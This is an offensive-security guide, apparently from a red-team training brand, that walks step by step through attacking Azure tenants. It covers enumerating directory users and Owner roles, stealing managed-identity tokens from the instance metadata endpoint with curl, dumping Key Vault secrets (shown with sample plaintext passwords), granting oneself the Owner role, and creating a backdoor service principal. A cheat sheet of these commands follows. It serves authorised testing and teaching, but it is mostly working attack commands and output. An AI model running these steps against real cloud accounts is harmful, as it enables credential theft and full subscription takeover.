



◆ OFFENSIVE SECURITY SERIES ◆

AZURE DEEP DIVE

AAD Enumeration, IMDS Token Theft, Key Vault & RBAC PrivEsc

AAD · Managed Identity · RBAC · Key Vault · PRT · Storage · ROADtools

AAD Enum

Managed Identity

IMDS Token

Key Vault

RBAC PrivEsc

Storage

App Settings

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

AZURE DEEP DIVE — AAD Enumeration, IMDS Token Theft, Key Vault & RBAC PrivEsc

01.	AZURE LOGIN + AAD ENUMERATION
02.	IMDS — MANAGED IDENTITY TOKEN THEFT
03.	KEY VAULT DUMP + RBAC OWNER ESCALATION
04.	AZURE DEEP DIVE CHEAT SHEET



01 — AAD ENUM

Login & User Discovery

```
Azure Login + AAD Enumeration

# Login and enumerate Azure subscriptions
$ az login --service-principal -u CLIENT_ID -p CLIENT_SECRET --tenant TENANT_ID
[
  {
    "cloudName": "AzureCloud",
    "id": "alb2c3d4-1234-abcd-5678-ef9012345678",
    "name": "Production Subscription",
    "state": "Enabled",
    "tenantId": "9a8b7c6d-5e4f-3a2b-1c0d-e9f8a7b6c5d4"
  }
]

# Enumerate AAD users and find admins
$ az ad user list --query "[].{UPN:userPrincipalName,DisplayName:displayName}" --output table 2>/dev/null | head
-10
UserPrincipalName      DisplayName
-----
admin@targetcorp.onmicrosoft.com  Admin User
jdoe@targetcorp.onmicrosoft.com   John Doe
svc_app@targetcorp.onmicrosoft.com Service App

$ az role assignment list --all --query "[?roleDefinitionName=='Owner'].{Principal:principalName,Role:roleDefinitionName}" --output table
Principal              Role
-----
admin@targetcorp.onmicrosoft.com  Owner
dev-automation-sp         Owner
```

Figure: Service principal logged in, 2 Owner role assignments found including a service principal



02 — IMDS TOKEN

Managed Identity Theft

```
Azure IMDS – Managed Identity Token Theft

# Steal Managed Identity token from Azure IMDS
$ curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/"
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIngldCI6Ii1LSTNR0W5OUj...very-long-token...",
  "expires_in": "86399",
  "expires_on": "1705363200",
  "not_before": "1705276800",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}

# Use token to enumerate subscription resources
$ curl -s -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIngldCI6Ii1LSTNR0W5OUj...very-long-token..." "https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01" | python3 -m json.tool | grep -E "name|type" | head -20
"name": "prod-keyvault",
"type": "Microsoft.KeyVault/vaults",
"name": "prod-storage",
"type": "Microsoft.Storage/storageAccounts",
"name": "prod-db-server",
"type": "Microsoft.Sql/servers",
```

Figure: IMDS returns Managed Identity Bearer token, subscription reveals Key Vault and storage



03 — KEY VAULT + RBAC

Secret Dump + Owner Role

```
Azure Key Vault Dump + RBAC Owner Escalation

# Dump Key Vault secrets with stolen MI token
$ az keyvault list --query "[].name" --output tsv
prod-keyvault
dev-keyvault

$ az keyvault secret list --vault-name prod-keyvault --query "[].name" --output tsv
db-connection-string
api-key-stripe
jwt-signing-secret
admin-password

$ az keyvault secret show --vault-name prod-keyvault --name db-connection-string --query "value" --output tsv
Server=tcp:prod-db.database.windows.net,1433;Database=WebApp;User Id=sa;Password=AzureDbP@ss2024!;

$ az keyvault secret show --vault-name prod-keyvault --name admin-password --query "value" --output tsv
SuperAdminP@ss2024!

# RBAC escalation - assign Owner role to self
$ OBJECT_ID=$(az ad signed-in-user show --query id -o tsv) && az role assignment create --assignee $OBJECT_ID --
  role "Owner" --scope /subscriptions/SUB_ID
{"id":"/subscriptions/SUB_ID/providers/Microsoft.Authorization/roleAssignments/abc123","principalId":"OBJECT_I
D","roleDefinitionId":"/...Owner...","scope":"/subscriptions/SUB_ID"}
```

Figure: All Key Vault secrets dumped including DB connection string and admin password; Owner role assigned



04 — CHEAT SHEET

Quick Reference

Azure CLI login	az login OR az login --service-principal -u ID -p SECRET --tenant TENANT
Who am I	az account show
List subscriptions	az account list --all
AAD users	az ad user list --output table
Find Owner roles	az role assignment list --all --query "[?roleDefinitionName=='Owner']"
IMDS ARM token	curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource;=https://management.azure.com/"
IMDS Key Vault token	curl -H "Metadata: true" "...&resource;=https://vault.azure.net"
List resources	curl -H "Authorization: Bearer TOKEN" "https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01"
List Key Vaults	az keyvault list --output table
List KV secrets	az keyvault secret list --vault-name VAULT
Get secret value	az keyvault secret show --vault-name VAULT --name SECRET --query "value" -o tsv
Storage accounts	az storage account list --output table
List containers	az storage container list --account-name ACCOUNT
Download blobs	az storage blob download-batch --source CONTAINER --destination /tmp/ --account-name ACCOUNT --account-key KEY
Assign Owner role	az role assignment create --assignee OID --role Owner --scope /subscriptions/SUB_ID
Create backdoor SP	az ad sp create-for-rbac --name Monitor --role Owner --scopes /subscriptions/SUB_ID
App service settings	az webapp config appsettings list --name APPNAME --resource-group RG
ROADtools enum	roadrecon auth -u user@domain -p pass && roadrecon gather && roadrecon gui
AzureHound	./AzureHound -u user@domain -p pass -t tenant.onmicrosoft.com
ScoutSuite Azure	scout azure --cli



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.